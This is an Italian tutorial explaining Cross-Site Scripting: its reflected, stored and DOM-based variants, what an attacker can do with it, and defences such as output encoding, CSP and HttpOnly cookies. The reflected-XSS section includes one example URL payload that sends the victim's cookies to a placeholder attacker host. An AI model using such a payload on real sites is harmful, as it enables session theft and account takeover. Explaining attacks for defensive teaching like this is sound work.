Il Cross-Site Scripting (XSS) è una classe di vulnerabilità delle applicazioni web che permette a un attaccante di iniettare codice JavaScript (o altro script) in pagine web visualizzate da altri utenti. Il browser della vittima esegue il codice malevolo nel contesto dell’origine del sito attaccato, con pieno accesso ai cookie, al localStorage, al DOM e alla possibilità di fare richieste HTTP come se provenissero dall’utente legittimo. XSS è nella OWASP Top 10 e costituisce uno dei vettori più sfruttati per il furto di sessioni e la compromissione di account.
Il principio della Same-Origin Policy
Per comprendere XSS è necessario capire la Same-Origin Policy (SOP): il browser vieta a uno script caricato da sito-A.com di accedere ai dati di sito-B.com. Ma se l’attaccante riesce a far eseguire il proprio script all’interno del contesto di sito-vittima.com, la SOP non lo protegge — il codice malevolo ha la stessa origine del sito legittimo e accede a tutti i suoi dati.
Varianti principali
XSS Reflected: il payload malevolo è incluso nella richiesta HTTP (tipicamente nell’URL o in un parametro di form) e l’applicazione lo riflette immediatamente nella risposta senza memorizzarlo. L’attaccante deve convincere la vittima a cliccare un link costruito ad hoc. Esempio: https://vittima.com/cerca?q=<script>document.location='https://attaccante.com/steal?c='+document.cookie</script>.
XSS Stored (o Persistente): il payload è memorizzato nel database del sito (commenti, profili utente, messaggi) e viene servito a chiunque visiti la pagina infetta. È la variante più pericolosa: non richiede interazione diretta dell’attaccante con ogni vittima. Un singolo payload in un forum con migliaia di utenti colpisce tutti i visitatori.
XSS DOM-based: la vulnerabilità risiede nel codice JavaScript lato client, non nel server. L’applicazione legge dati da sorgenti controllabili dall’utente (es. location.hash, document.referrer) e li scrive nel DOM senza sanificazione. Il payload non transita dal server e quindi non è visibile nei log HTTP.
Impatto
Un attaccante con XSS può:
- Rubare i cookie di sessione (
document.cookie) se non protetti dal flagHttpOnly - Eseguire azioni per conto dell’utente (CSRF-like) aggirando le protezioni CSRF
- Registrare i tasti premuti (keylogging) per catturare credenziali
- Redirezionare l’utente verso siti di phishing
- Modificare il DOM della pagina per ingannare l’utente (UI redressing)
- In contesti Electron o WebView, potenzialmente escalare a RCE
Contromisure
Output encoding: il principale meccanismo difensivo. Prima di inserire dati utente nel HTML, codificare i caratteri speciali (< → <, > → >, " → ", ecc.). I framework moderni (React, Vue, Angular) eseguono l’encoding automaticamente nell’interpolazione del template — ma le funzioni dangerouslySetInnerHTML / v-html / [innerHTML] bypassano questa protezione e richiedono attenzione esplicita.
Content Security Policy (CSP): header HTTP che istruisce il browser a eseguire script solo da origini esplicitamente autorizzate e a vietare gli script inline. Una CSP ben configurata riduce drasticamente l’impatto di XSS anche in presenza della vulnerabilità.
Flag HttpOnly sui cookie: impedisce a JavaScript di accedere ai cookie di sessione, eliminando il vettore più comune di furto sessione via XSS.
Validazione dell’input: utile come difesa in profondità, ma non sufficiente da sola — il contesto di output determina quale encoding applicare, e la validazione non copre tutti i casi.